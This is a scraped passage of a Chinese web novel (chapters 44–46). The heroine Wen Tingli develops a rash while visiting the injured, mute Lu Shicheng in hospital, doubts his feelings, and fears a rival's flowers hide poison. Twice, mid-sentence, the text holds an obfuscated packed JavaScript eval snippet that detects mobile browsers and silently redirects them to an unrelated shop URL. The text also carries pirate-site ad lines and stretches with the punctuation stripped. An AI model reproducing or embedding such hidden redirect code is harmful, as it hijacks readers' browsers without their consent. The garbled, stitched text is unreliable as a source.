这一拍,就拍到了夜里九点钟,导演和经理对闻亭丽赞不绝口,可惜其他公司并未像闻亭丽所设想的那样,被她的表演吸引着过来打听她的资料,两家公司都是一干完自己的活就走了。 收工时,闻亭丽感觉全身被像泥浆糊住了,汗气熏天,一举一动都笨重不堪,即便卸下了服装,身上每一个毛孔仍在向外冒酸气。 比这更糟糕的,是她从中午到现在一口东西都没吃。 好在董沁芳临走前在附近的宁波饭馆给她买了一份饭菜送过来,她坐到镜子前第一件事就是打开油纸,一尝之下,差点当场呕出来,那包饭菜已经馊了。 随即打开馥丽施为她准备的饭盒,结果也是一股酸气。馥丽施的经理一个劲地赔罪:“实在对不住,谁能想到棚里这样热,闻小姐在此稍等,我马上让他们再买一份吃的来。 闻亭丽有气无力地摆摆手:“没关系的,我知道你们也没吃,横竖已经收工了,回家再吃也是一样的。 大伙匆匆收拾东西出来,馥丽施的经理为闻亭丽雇了一辆车:“闻小姐是直接回住所吗? 闻亭丽略一犹豫,点点头说:“对的,麻烦了。 汽车启动后,闻亭丽忙不迭从书包里取出一个油纸包,打开,一股奶香扑鼻而来,她满足地深吸一口,还好早上出门前特地包了十来块陆世澄昨天送的曲奇在包里,饭菜容易馊,这个却存得住。一口气吃了十来块,好歹不再头晕手抖了。 其实中途饿得慌的时候,她不是没想过将曲奇拿出来吃,但如此一来,少不了给大家也分一点,她平日极大方,今天却只想美美地吃独食。 回到家,闻亭丽轻手轻脚进房间看小桃子,小桃子睡得正酣,闻亭丽在床边看了几眼,急急忙忙将周嫂拉出去:“今天邝先生有没有打过电话来? “打过两个电话,第一通是早上八点,我说小姐出门拍挂历去了,邝先生便要我转告小姐:陆小先生醒来了。第二通是傍晚五点多打来的,问小姐回没回家,我说还没回,这次邝先生倒没说什么。 闻亭丽二话不说冲进浴室。 为了洗掉身上残留的汗气,光是头发她就仔仔细细洗了两遍,又用香皂从头到脚打了三遍 泡沫,将全身洗得香喷喷的才出来。 一开门,香气伴着乳白色的水雾一起涌出来。闻亭丽裹着毛巾到卧房里找衣服,忽觉后颈有点发痒,一时也顾不上细看,匆匆将头发高高束在脑后,换鞋准备出门。 周嫂正忙着热菜,闻声在厨房里扬声问:“要去探望陆先生吗,好歹先吃点东西再走。” “再晚医院恐怕就不让进了,您先睡,我去去就回。” *** 病房的医务人员果然将闻亭丽拦在外头。 “过了探视时间了,请明天再来。” “我姓闻,我是来找邝志林先生的,麻烦通传一声。” 邝志林没出来,倒出来了两位面熟的中年男子,闻亭丽以前在陆世澄身边见过他们,二人对闻亭丽很客套。 “邝先生临时有事离开一会,闻小姐请这边走。” 闻亭丽随二人上楼,这是一幢单独的小楼,每层只有两三间病房,陆世澄的那间位于三楼走廊最深处,走廊上有不少陆家的护卫,但他们一个比一个安静。 推开门,房里也是阒然无声。 “先前澄少爷醒来过一阵,后来又睡着了,大夫说情况已经基本稳定了。” “我可以进去看看陆先生吗?” “请便。”两人悄悄退到门边。 闻亭丽走到床旁的椅子上坐下,一天不见,陆世澄额上的白纱布并未撤下,反而加厚了些,胸口盖着薄毯,也不知胸腹处的伤口如何了。这样在灯光下看着,他的气色比前几日略好,只是他仿佛睡得不太踏实,皱着眉,呼吸也有点乱。 忽然,陆世澄挣扎了一下。 “妈妈——” 闻亭丽立即屏住呼吸。 接着,又是同样的一声低喃。 他似乎经常做同一个噩梦,梦里总在找寻他的母亲,那声“妈妈”,也总是充满痛楚。 闻亭丽不忍陆世澄陷在那可怖的梦境里,轻轻唤一声:“陆先生。” 陆世澄呼吸稍缓,却并未醒转。 闻亭丽有心等他醒来再走,最起码也要等邝志林回来问问陆世澄的情况再说,但看这样子,陆世澄一时半会醒不了,干脆悄悄从书袋里取出剧本,打算边读边等,但她委实高估了自己的体力,天不亮就起来了 ,白天在摄影棚绷了一整天,而此前,她为了照顾陆世澄连日来几乎没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13482361|135222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睡过一个整觉,撑到现在早就筋疲力尽了。 读了没多久,竟不知不觉趴在床边睡着了。 *** 闻亭丽是被一阵钻心的痒弄醒的。 猛一抬眼,病床上空荡荡的。 她一惊,顾不上追究那奇痒的来处,慌忙转动脑袋:“陆先生?! 定睛一看,陆世澄坐在对面床边的轮椅上一眼不眨看着她。 “你什么时候起来的?闻亭丽一懵,急急忙忙直起身,不料肩膀上盖着东西,她这一动,东西便无声滑落到她的脚边。 那是陆世澄床上的薄被,不知怎么到了她的身上。 在闻亭丽发懵的当口,陆世澄朝她这边推动轮椅,推了两下却未能成功,闻亭丽果断地放下被子朝陆世澄走去。 “我来。 她想象不出陆世澄刚才是怎样下床而不吵醒她,他的动作必定十分小心,甚至可能扯动了伤口,她有点不好意思地笑着:“陆先生醒来多久了?怎么也不叫我?瞧我,过来探望病人,自己倒先睡着了。 陆世澄望着她的脸,忽然一下子,眼神变得奇怪起来,一边盯着她看,一边试图撑着轮椅站起。 闻亭丽抢先一步扶住他,陆世澄立即低下头盯着她的脖颈瞧,双方的距离那样近,他的目光几乎是牢牢黏在了她的肌肤上。 闻亭丽脸上一烫,陆世澄从未这样唐突过,她把脸转到一边,小声提醒他:“陆先生。 陆世澄目光微动,但他并未挪开视线,而是抬手指了指她的脖颈,接着便焦急地环顾四周。 闻亭丽心知不妙,慌忙摸了摸自己的脖子,意外触到了蚊子包似的东西。 “这是什么?这一碰,那种奇痒的感觉又来了。 她下意识想抓挠,手腕却被陆世澄扣住了。 【不能抓。】 “可是我好痒,是不是很吓人。闻亭丽痒得跺脚。除了痒,还被一种惊恐的感觉攫住了,那究竟是什么,脖子上怎会突然长疹子。 陆世澄也不似往常那样冷静,她太惊慌了,这样下去会把皮肤抓烂的。 他尽可能用安抚性的眼神告诉她“不吓人,一只手按住她,同时揿 动床边的电铃唤人。 两名随从进来看见屋内的景象,一下愣住了。闻小姐在陆先生身前扭成了一团麻花,陆先生则强摁着让她别动。 陆世澄沉着脸让他们去催大夫。大夫进来一看便说:“像是过敏了,什么时候起病的?有点严重,千万不要抓,闻小姐,你以前犯过皮疹吗?什么时候起的病。” 直到大夫走到身前,陆世澄才松开闻亭丽的胳膊,闻亭丽强忍着奇痒说:“从来没犯过皮疹,来之前还好好的,刚才不小心盹着了,醒来就这样了。” “来之前可曾吃过什么不该吃的东西?白天都待在什么地方?” “今天一整天都在冠林公司名下的摄影棚拍广告,早上在家吃了一碗糖渥鸡蛋——这个平常我在家里总吃的,中午在片场吃了一块粢饭糕,晚上没吃东西。” 陆世澄皱了皱眉,大夫也很错愕:“一整天就吃了这么一点东西?” 闻亭丽咬唇忍耐着说:“还吃了一点别的,回来的路上我吃了十来块瑞士国的露斐尼曲奇,这个我以前也吃过。” “所以应该不是饮食上出了问题。你这看着像是汗疹,摄影棚里很热吗,你在那里待了多久?中途可曾出外走动?” “从早上八点一直拍到晚上九点才收工,我今天拍的是冬装,出汗尤其多。公司只租了一天的场地,中途不曾休息。” 大夫叹口气:“这一捂就是十三四个钟头,怎能不出问题,面积这样大,不只像汗疹,还像是对某套冬装的染料过敏,当时可曾痒过?皮肤这样红,敢问闻小姐收工以后是不是用肥皂洗过澡?” 何止清洗过,为了清清爽爽来医院,闻亭丽恨不得把身上每一个毛孔都搓洗一遍。她瞥瞥陆世澄,喃喃地说:“我觉得身上汗津津的不舒服,所以回家洗了个热水澡。” “难怪,在已经出现皮疹的情况下,肥皂和热水都有可能加重皮损,我马上请急诊科的同事过来看看,闻小姐这情况必须马上用药,不然会越来越严重。” 闻亭丽想抓又不敢抓,大夫一问完话,她立即跑进盥洗室照镜子,一看就哭了。 脖子上出现了一片红疹子,眼皮和嘴唇也有点红肿,这令她整个人看上去像一颗红肿的寿桃,亏她还特地打扮一番才来探望陆世澄,这样子不把人吓 坏才怪忙又关上门脱掉衣裳检查前胸和后背也是红红的一大片。 陆世澄在外面敲门。 “我不想出去。” 陆世澄顿了一下 闻亭丽垂头丧气拉开门。 陆世澄推着轮椅向后退了退望她一阵随手把便笺簿递给她。 【大夫说你可以喝绿豆粥我让人去准备了你先吃点东西再哭。】 闻亭丽:“谁说我还要哭了?”说完自己噙着泪先笑了。 陆世澄也笑了望着她可怜兮兮的模样转头看看四周对她指了指沙发不管怎样先坐下来休憩一会等她坐下后他推着轮椅离她再近一点低头帮她细细查看。 她心窝一暖他的目光没有冒犯只有浓浓的关切和心疼很快急诊科大夫就带着药箱来了是位女大夫一看就说:“估计身上也有不少疹子我得马上给闻小姐做个体检时间很短陆先生方不方便回避一二?若是不方便——” 陆世澄想也不想就推着轮椅退到门外随从们一愣赶忙拿起毛毯追出去。 闻亭丽愈发哭笑不得她明明是来探望陆世澄的现在他的病房倒变成她的了。 大夫检查完毕在患处抹上一层薄薄的淡褐色药粉又给闻亭丽喂了几粒口服药。 “皮疹面积比较大为慎重起见闻小姐最好留院观察一晚我给你在公共病房安排一张临时床位万一晚上病情有变化也好及时为你处理。” 出去后女大夫又将这话对陆世澄说了一遍陆世澄想了想。 【麻烦给闻小姐安排一间单独的病房。】 闻亭丽本想说些什么大夫早应了陆世澄在轮椅上向大夫欠身道谢。 闻亭丽轻声对陆世澄说:“我得给周嫂和小桃子打电话说下情况不然她们会担心的。” 打完电话饭食也送来了。除了绿豆粥还有几碟精致的点心 陆世澄看着闻亭丽脖子上的药粉。 【还痒吗?】 “痒。”闻亭丽懊丧地点点头。 【要不先吃点东西再说?】 闻亭丽本来是没有胃口的但桌上点心的热气丝丝缕缕直往鼻子里钻眼看陆世澄帮她舀了一碗放到她手边当 第 45 章 试探。 第45章试探。 睡到早上六七点时,隐约听见主治大夫进来跟另一位大夫进来交班。闻亭丽含含糊糊回答了几个问题,一翻身又睡过去了。 再睁眼,已是日上三竿。 闻亭丽在被窝里伸了个懒腰,想起昨晚的事,赶忙掀被下床,跑到盥洗室对着镜子一照,大约是昨晚治疗得够及时的缘故,脖子上的疹子已经消下去一大半。 她轻吁一口气,听见外面有人在低声说话,原来是陆家的随从。 她打开门。 “吵到闻小姐了吗?” 闻亭丽莞尔:“不是,我自己醒来的,你们昨天一晚上都在这里吗?” “陆小先生担心夜里有什么危险,让我们整晚候在闻小姐门外,对了,这是闻小姐的换洗衣裳,昨天实在太晚了,陆小先生怕打搅贵府的周嫂和小小姐休息,特意等到今早才让人去贵府取来。” 闻亭丽接过那包衣裳,却久久没说话,随从们只当她拘谨,笑道:“闻小姐不必拘束,陆先生一向知礼,闻小姐又曾帮过陆小先生的大忙,如今闻小姐生急病,陆先生自当万分用心。” 闻亭丽笑容微滞,等等,她不喜欢这个说法,这一切才不是因为“她帮过陆世澄的大忙”,陆世澄是因为对她—— 她细看这两人的相貌,好像在陆公馆看见过他们,但从二人并未被派到她家附近守护这一点来看,他们显然不能算是陆世澄的心腹。 不过她还是充满感激地说:“我什么都不缺了,两位大哥快请去休息吧。” “邝先生已经派人来接我们的班了,陆小先生这方面从来没话讲。” 闻亭丽佯装不经意发问:“陆先生对人总是这样好吗?” “那当然。”那人非常健谈,他指了指身边的同伴,“上回我这位姓高的兄弟患了急性肠炎,陆小先生特地安排了一间单独的病房给他治病,听说老高的母亲担心儿子,还把老太太从无锡接来上海住了些日子,之后安排老太太的食宿,也是要多细致有多细致……别看陆小先生年轻,在为人处世这一方面,陆家上下无有不服气的。” 闻亭丽望着那位五大三粗的高姓随从,有点笑不出来了。 回屋关上门, 闻亭丽一边换衣裳,一边暗自琢磨。关于陆世澄待人礼貌周到这件事,早在第一次跟他打交道时她就已经十分清楚了。 一个有着成熟人格的男子,绝不可能人前人后两幅面孔,在外人面前那样好,在对待自己人时只会更好,因此在听到随从那番话时,她并不如何惊讶。 但她心灵深处仍然有点小小的失落,至少,陆世澄的这份用心和周到,并不仅仅只用在她一个人身上。 她从枕头下面摸出陆世澄昨夜写给她的那张纸条,纸面已经有些皱了,但纸条上的字迹却是那样清晰,陆世澄的表达方式永远是那样简洁有效。 她本该充满甜蜜,可就在这时,她突然发现他们之间还少了点什么。 直到现在,他还没有亲口对她表白过,这一想,那人的话再次在耳边响起。“上回我这位姓高的兄弟患了急性肠炎,陆小先生也是…… 所谓“当局者迷,旁观者清。会不会这其中有什么误会?! 或许,陆世澄买来她最喜欢吃的零食堆成小山放在她的房间,不是为了讨她欢心,只是为了回报她的救命之恩。 他耐着性子教导小桃子认字,不是为了取悦她的家人,只是为了酬谢她这段时日不眠不休的照顾。 他照着她的喜好帮她买来这些随身物品,不是出于某种特殊的情愫,只是看在她曾专门帮他买过寝衣的份上。 这些想法依次钻进闻亭丽的脑海。 他对身边的亲信都如此亲厚,对待自己的救命恩人只会加倍用心,用心到让她产生误会的地步。 她不确定陆世澄是否察觉到了两人相处时那些微妙的暗潮,纵算他察觉了,谁知道他会不会将其归因于两人在一个空间里相处久了产生的错觉? 事实上,在此之前,两个人的关系一直处在一个奇怪的状态,他再三关照她,屡屡对她施以援手,但每当她要往那方面想时,他都会用一种清醒而克制的态度与她拉开距离。 她猜自己对陆世澄是有吸引力的,只因陆家的环境太复杂,才令他不敢轻易对人交出自己的信任,因此,她主动地迈出了那一步,然而,那晚在陶陶居,她一直等到十点钟也没能等到他来赴约。 他爽约了。 他至今欠她一个解释。 尽管从 后来的事得知,陆世澄的爽约跟他遇险有关,但只要他没有亲口向她解释清楚缘由,两人之间便仍像云山雾罩似的,始终隔着一层什么,况且那一晚他赴约也不见得是为了情愫的冲动,说不定只是要当面同她把话说清楚呢。 细一想,陆世澄对她的态度明显发生转变是在那晚遇险之后。 那一劫,让他从此把她当作可以托付信赖的人。 她现在心里很糊涂,他究竟是把她当作恩人在进行特殊关照,还是出于感激才对她产生一种别样的情感? 无论是哪一种情况,都不是她内心所能接受的! 她的爱人,必须臣服于她本身的魅力,欣赏她,迷恋她,追逐她,包容她,喜欢她的优点,也接受她的缺点,但凡两人的情愫里掺杂了其他的因素,在她心里就称不上是爱情。 不行,不能再这样稀里糊涂地跟陆世澄相处了,她得尽快把他的想法弄明白,不然她只会在一种混沌的情境下越陷越深,最迟今天,她要听他“亲口”说清楚自己对她是怎么一回事。 她是个生性洒脱的人,在心里拿定主意之后,便不再自寻烦恼,拾掇一番就去要找陆世澄,一出去就撞见了邝志林,邝志林正在走廊上向她的管床医生打听她的病情。 “闻小姐好些了吗?”邝志林立即走近。 闻亭丽笑道:“好多了,多谢邝先生挂怀。” 这时,邝志林将手里的食盒交给两位随从,打开盒盖,里头装着两大笼刚买来的生煎馒头。 “这是澄少爷给你们买的。” 瞧,陆世澄对自己人果然好得没话说。再看到那位乐呵呵接过食盒的高姓随从,闻亭丽简直不知说什么好,她在邝志林的陪伴下到后楼探视陆世澄。 到门口往里一看,陆世澄坐在床边的轮椅上,大夫正在为他更换额头上的白纱布。 “闻小姐来了。”邝志林含笑敲门。 陆世澄忙朝门口看过来,那位大夫也扭头说:“唔,闻小姐比昨夜看着好多了。” 闻亭丽笑着走进去,陆世澄背光而坐,身上是一件再普通不过的病号服,整个人却那样干净漂亮,只是短发未经修剪显得有点凌乱,几处伤口也太过触目惊心。 她移目看向他的脸,意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13482362|135222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外发现陆世澄也在细致地端详她 他俨然在估量她的病情是否有好转目光先是落在她的脖颈上继而挪到她的脸上。 出其不意地两人的视线在半空中相碰了。闻亭丽直视着那两泓宛如潭水的眸光。 邝志林看在眼里微笑着吩咐随从:“可以把早餐端进来了。” 房中的人默契地集体退了出去。 闻亭丽在脑海里组织语言她得用一种极其自然的不露痕迹的方式问出自己想要的答案。 不能太直接那样会显得她心急。也不能太露骨那会连她自己也会无地自容。 由于她只顾着低头思索短短几步路走得异常地慢。 陆世澄看在眼里心里有点疑惑她很少如此无精打采难道是因为昨晚没睡好么。不等她走到面前便撑着轮椅的扶手主动站了起来。 他这一起身闻亭丽便知他的身体状况好了不少因为他的身躯很稳不再像前些日子一站起来就摇摇晃晃。 但她还是下意识上前扶住了他。 “还疼吗?”这句话几乎是脱口而出。 陆世澄本来像是要摇头的突然间又望着她点点头。 他用另一只手指了指自己的肋骨。他这里还是很疼。 闻亭丽却因为低着头没有看到陆世澄这动作她正忙着懊悔自己刚才的忘形在不确定陆世澄的态度之前两人这又算是什么呢。 她迅速抽回手矜持地坐到他对面。 这下陆世澄心里更困惑了谛视她片刻最终什么也没问只是把桌上的点心一碟又一碟堆到闻亭丽的手边。 眼看东西一股脑全被推到自己这边闻亭丽绷不住笑起来:“我哪吃得了这样多?!” 陆世澄却顺势将那碗冒着热气的清粥也推到她面前。 闻亭丽轻咳一声说:“昨日突然令人买那么多露斐尼的曲奇是因为陆先生知道我爱吃那个?陆先生对身边的每个人都这样好么?” 最后两句话她的声音像风吹散了似的一下子低下去低到近乎耳语。 但她相信陆世澄能听见。 一刹那间房间里变得针落可闻。陆世澄本就有哑疾但此时此刻他比平日还要安静许多安静到连他身遭的空气都似凝固住了。 陆世澄的确听见了 说全网首发无弹窗免费阅读caixs.com?(请来才小 说 看最新章节 完整章节)只有他自己知道他的心一下子跳得有多快。 闻亭丽也没比她好到哪儿去。 要回答清楚这个问题陆世澄就得直面自己的心意。不容回避也不容敷衍。 他——应该能想清楚自己究竟对她是怎么回事吧?不凭他的那份聪明她相信自己很快就能知道答案。 果然她感觉他的视线落到了自己的腮边这使得她的睫毛颤动了几下但她倔强地定在那里。 也不知过了多久余光睹见陆世澄似乎转头望着窗外笑了下忍不住抬眸就见陆世澄用一种极其认真的神气看着她而后他正色取出口袋里的钢笔。 闻亭丽顿觉浑身的鲜血一下子全涌到了脑子里不只为他没有回避她的问题也为他此刻异常郑重的表情。 她眼睁睁看着他将笔尖触上本子眼睁睁看到黑色的洋墨从笔尖流到白纸上。 她的心已经不能用快和乱来形容了她几乎喘不过气来。 作者有话要说 第 46 章 【加更】邀请。 第46章【加更】邀请。 偏在这时,有人在门口“笃笃笃”敲门,那声音突兀而急促,猝然打断了笔尖的流动。 闻亭丽骇得轻咳一声,陆世澄皱眉看向门口,房门未关,只听那人外头小声而急切地说:“陆先生,工商协会会长和震林药业的刘老板打电话说要来医院探望陆先生。” 闻亭丽一震,外界怎会得知陆世澄在此住院的消息?陆家在这方面可是一向密不透风…… 陆世澄显然也在思考这个问题,他扭头看向身旁的高几,随手翻出下面的一大叠报纸,最上面那份报纸的标题是: 【南洋茂荣陆家陆鸿隽老先生之长孙陆世澄公子因重伤入院。】 不仅这一份,茶几上的其他报纸也有差不多的新闻标题,看样子陆世澄今早一直在调查这件事,邝志林也在门外敲门,对陆世澄汇报说:“我已经按照陆先生先前的吩咐回他们了。” 他瞥瞥房里的闻亭丽,挥手令那几位随从退下,进门道:“一夜之间,陆小先生受伤的消息闹得满城风雨,我们正忙着是调查何处走漏了风声。闻小姐,容邝某冒昧问一句,这几天你可曾无意中对别人提起过陆先生在此地住院?” “当然没有!”闻亭丽断然说。 陆世澄用嗔怪的目光扫了邝志林一眼,邝志林苦笑:“邝某当然知道闻小姐为人谨慎,但所谓隔墙有耳,就怕闻小姐打电话询问陆先生的情况时被外人——罢了,以闻小姐谨慎的性格,这推测也立不住脚。邝某唐突,还望闻小姐别见怪。” 闻亭丽摇摇头表示不介意,忽道:“我想起来了,昨天我和董小姐路过医院,恰巧看见邹校长和邝先生一起进医院,当时沁芳姐就觉得不寻常,兴许她回去跟别人无意间聊起此事,结果被某些有心人听见了,要不我去问问沁芳姐?她一定记得昨天都跟哪些人聊过这事。” 邝志林看看陆世澄:“明白了,我马上出去打几个电话。” 他刚一出去,走廊上传来邹校长的说话声。 “老邝,我正找你呢,紫荷看到今早的新闻,非要陪我来探望世澄。我想她母亲跟世澄的母亲是最好的朋友,此前两个孩子也打过好几回交道,于是就自作主张带她来了,世澄昨 夜睡得好吗?” 陆世澄跟闻亭丽飞快对视一眼,邹校长一脚跨进来了。 邝志林跟在邹校长身后进屋,表情多少有点不自然。邹校长的臂弯里还挽着一位年轻女郎,正是朱紫荷。 闻亭丽连忙起身问好:“邹校长好。” “闻亭丽?!”邹校长大吃一惊,“你怎么会在这里?” 朱紫荷用一种耐人寻味的目光看着闻亭丽。 陆世澄“试图”推动轮椅,结果因为手伤并未好全,刚一动就“卡”在那里。果不其然,邹校长的注意力一下子转移到了陆世澄身上,她急急忙忙走上前扶住陆世澄。 “快别动,你伤势未好。” 这一来,房中人有了充足的时间来应对这场变故,在陆世澄的暗示下,邝志林便要将闻亭丽不露痕迹地护送出去,闻亭丽却另有主意,对邹校长和朱紫荷笑道:“昨天我身上无故起了大片疹子,吓得连夜来看病,不料在急诊科碰到邝先生,他看我身边没人关照,就委托大夫帮我换了一间单独病房,早上看报纸,我才得知陆先生也在此住院,此前多次承蒙陆先生关照,得知他生病,忙上楼来探望一二,碰巧在门口遇到邝先生,邝先生就把我领进来了。” 邹校长疑虑顿消,暂且放下陆世澄,近前端详闻亭丽脖子上的疹子,满脸关切地问:“大夫怎么说的?” 闻亭丽将昨天看病时的情形说了,邹校长叹道:“难为你了,父亲刚去世,底下还有妹妹要照顾,马上还得独自筹集大学学费……这样东奔西跑,铁打的人都受不住,何况你一个半大的孩子。” 闻亭丽趁势环住邹校长的肩膀撒娇:“校长,我才不是半大孩子了,我都十八岁了。” “你是!”邹校长用一种溺爱的语气说,“你就是!在我眼里,你们统统都是半大孩子。” 又指指陆世澄:“他也是!” 陆世澄笑了笑,请邹校长坐下说话,朱紫荷趁势开腔:“陆先生和闻小姐刚才在吃早餐吗?” 陆世澄抬头瞟了朱紫荷一眼。 经这话一提醒,邹校长转头望向茶几,意外发现一桌子点心竟全堆在闻亭丽这边,不禁露出诧异的神色,看看陆世澄,又看看闻亭丽。 这次陆世澄却表现得十分坦然,俨然不打算再对此 做任何解释,闻亭丽倒是想说些什么,然而一低头,她的注意力迅速被牵回几上的便笺上。 那上头赫然写着三个字。 【因为我——】 是陆世澄那句将写而未写完的话。 他的答案是什么? 她的心再一次咚咚急跳起来。 眼看两人都不吭声,邝志林只得大笑着接过话头:“闻小姐早在自己的病房里吃过了,倒是我和澄少爷还没吃,他们几个知道我爱吃甜食,就多买了一些点心。邹校长和朱小姐可吃过早餐?可否赏光同我们一起吃? 邹校长恍然大悟:“老邝,你的口味这么多年就没变过,当心把牙吃坏。我跟紫荷吃过了,你跟世澄快吃吧。 不管怎么说,这话题算是扯开了,朱紫荷含笑将怀中的一大捧鲜花送给陆世澄。 “今早看报纸才知道你出了事,这段日子在上海多亏你关照,那一晚也幸亏有你——听说你重伤,我总归要亲眼看看你才放心,也没提前打招呼,就邹姨带我来了,希望你别怪我冒昧,祝你早日康复。 闻亭丽耳朵一竖,那一晚?什么那一晚?! 陆世澄冷淡地谛视着朱紫荷送到面前的东西,既没有伸手接,也没有示意邝志林收下。 这可是陆世澄第一次在公众场合让人下不来台, 邹校长望望陆世澄,又望望朱紫荷:“这是怎么了,是不是有什么误会? 朱紫荷只是微笑,邝志林忙着打圆场:“澄少爷本就有伤在身,一早忙到现在,难免有些精神不济。 邹校长坐下来细细询问陆世澄的伤情,闻亭丽则饶有兴趣坐到朱紫荷旁边。 “朱小姐这些日子都在忙什么? “忙着陪邹姨、忙着四处逛、忙着给我母亲买礼物。对了,上回你荣获沪上之花比赛冠军,我还没来及向你道贺呢。你比赛时的舞台照片我看了,当真是别出心裁。 “朱小姐的表演也很精彩。闻亭丽说,“你来上海后我们也没好好陪你逛过,筱文总惦记跟你好好玩一次,要不哪天我们几个一起出去看电影吧。 朱紫荷笑道:“说到筱文,那天我在外滩的惠罗公司碰到她,她说前段时间老也约不到你,也不知道你整天在忙些什么。 闻亭 丽瞥瞥陆世澄,面不改色地说:“我那部戏快要开机了,我担心自己进了片场不适应,前些日子基本每天都在家里在背剧本。” “原来如此,你那部戏究竟哪天开拍?” 这时候,邹校长问明白了陆世澄何时能出院,不禁庆幸:“这两天能出院就好,至少不用在医院过生日了,今年你打算怎么过?仍向往年那样只吃碗寿面?” 邝志林笑说:“听老先生的意思是,陆家眼下既由澄少爷主事,今年无论如何要大办一次,何况前一阵又出了这样的意外,冲冲喜也是好的,但澄少爷不喜热闹,所以暂时还未同意。” 朱紫荷立即接过话头:“陆先生哪天过生日?” “这周末。”邹校长答,“对了,昨天你不是说你的美术馆正需要扩大声势,何不参加完世澄的生日宴会再走?假如他今年肯举办宴会,你正好可以在生日宴会上结识一些各界的有志之士,那对你的事业也有帮助。” 朱紫荷倚到邹校长怀里撒娇:“时间上倒是安排得来,就不知陆先生他——” 闻亭丽一抬眼,意外发现陆世澄目光沉沉地打量朱紫荷,朱紫荷在人前一贯进退有度,被陆世澄这样盯着瞧,仿佛也有点吃惊,但她显然很有经验应付这种场面,很快便绽出笑容问道:“陆先生有话要对我说?” 出其不意地,陆世澄从上衣口袋里取出一张名片,将其递给朱紫荷。 闻亭丽蓦然睁圆双眼。 名片上印着“陆世澄”三个字。 邝志林显然也有些错愕,一面察言观色,一面堆起笑容解释道:“陆先生想邀请朱小姐前来参加生日会,朱小姐是否愿意赏光?” 朱紫荷落落大方接过陆世澄的名片。 说更新,记住域名caixs.com?(请来才小 说 看最新章节 完整章节) “既是陆先生诚心相邀,朱某不胜荣幸。” 陆世澄沉静地颔了颔首。 闻亭丽霍地起身。 “校长,我恐怕不能在此陪伴你们了,大夫让我十点钟去换药。” 说完这话,她再也没看陆世澄,径直出门下了楼。 *** 换完药,闻亭丽在房中闷声不响收拾东西。 横竖病情已经稳定了,她打算即刻出院。 她搞不清楚陆世澄葫芦里在卖什么药。最起码从刚才邹校长对朱紫荷的 态度来看,陆世澄尚未对朱紫荷起疑心,他那样敬重邹校长,一旦得知朱紫荷有问题,绝不可能再让朱紫荷陪伴在邹校长左右。 但他依旧按兵不动,要么,他没有丝毫怀疑朱紫荷,他是自愿把自己的名片交给朱紫荷的。 要么,他是打算利用这次生日宴的机会引诱朱紫荷露出马脚。 前者的可能性比较大。 这也就罢了,正所谓“兵不厌诈”,不这样做又怎能引敌人上钩。 真正让她刺心的是朱紫荷所说的“那一晚”,即便朱小姐说这话时别有用心,也不敢当着陆世澄的面捏造事实。 可见他们之间的“那一晚”是存在过的。 怪不得陆世澄始终对她若即若离,兴许他一早就看上了朱紫荷小姐,那一晚爽约也不仅仅是因为被白龙帮暗算,而是因为他误中了朱小姐的“美人计”。 这一想,一切都合乎逻辑了。 至于这些日子他对她的种种关怀,纯粹只是出于一种感激的心理——到此为止吧,她再也不要自作多情,陆世澄最好也别再用一些令人误会的举动来撩动她。 不然她一定会给他点颜色看看! 她收拾好自己的东西,毅然拉开房门。 谁知两名随从提着食盒来到门外。 “刚才闻小姐在房里也没吃上东西,陆先生担心闻小姐肚子饿,特地让人重新做了些新鲜粥点送过来。” 闻亭丽一肚子的话卡在嗓子眼里。 二人热情地把食盒里的东西一盘盘摆到桌上,放眼望去,全是些营养丰富又不失清淡的食物。 闻亭丽站在那儿没动,她倒不是轻易就被这番举动打动了,她只是猛然想起朱紫荷送给陆世澄的那一大捧鲜花。 糟糕!万一有毒可怎么办。她拔腿就往外跑,据厉成英派到天津去的人调查到新线索所知,朱紫荷十有八九有致命的把柄被曹帮主捏在了手里,一个人若被白龙帮所威胁,是什么事都能做得出来的。 先不论陆世澄现在究竟怎么想,她总不能眼看着陆世澄被朱紫荷谋害。 她心急如焚赶回陆世澄的病房,病房里却是空无一人。 碰巧邝志林回来,闻亭丽忙迎上前:“陆先生去了哪里?” “在拍片室,耳鼻喉科 的主任正等着为陆先生会诊。” “朱小姐呢?” “跟邹校长一起走了。”邝志林莫名其妙。 他骤然想起什么似的把闻亭丽拉到一边用一种严肃的口吻发问“路易斯大夫说澄少爷重病期间曾开口说过话闻小姐也曾亲耳听见过?” 闻亭丽怔了怔:“是。” 邝志林脸上露出狂喜的表情:“澄少爷都说了什么?说了多少句?吐词清楚吗?” “他只是在梦里喊‘妈妈’吐词很清楚但不曾说过别的。” “妈妈……”邝志林的表情惊愕又苦涩良久才幽幽叹了口气“喉科的谢主任是学贯中西的专家他听说这件事认为澄少爷有痊愈的希望本以为这次的重伤可以促使他重新开口但目前看来还不太顺利可能还需要一些新的刺激才能——” 闻亭丽不等听完这些话便急三火四冲进房捧起了那束鲜花。她猜花里没藏炸-弹毕竟朱紫荷也不敢保证自己何时能从陆世澄的病房离开那么里面多半藏有毒-药。 她得在最短时间内把这东西扔出去。 “闻小姐!”邝志林错愕追上。 “我喜欢这捧花反正陆先生这里有这样多的花这一束就让我拿回去放在房中吧。” “恐怕不行。”呆了一呆邝志林勉强笑道“澄少爷特地交代不能乱碰朱小姐的礼物。闻小姐喜欢鲜花邝某马上令人去买几束新的来。” 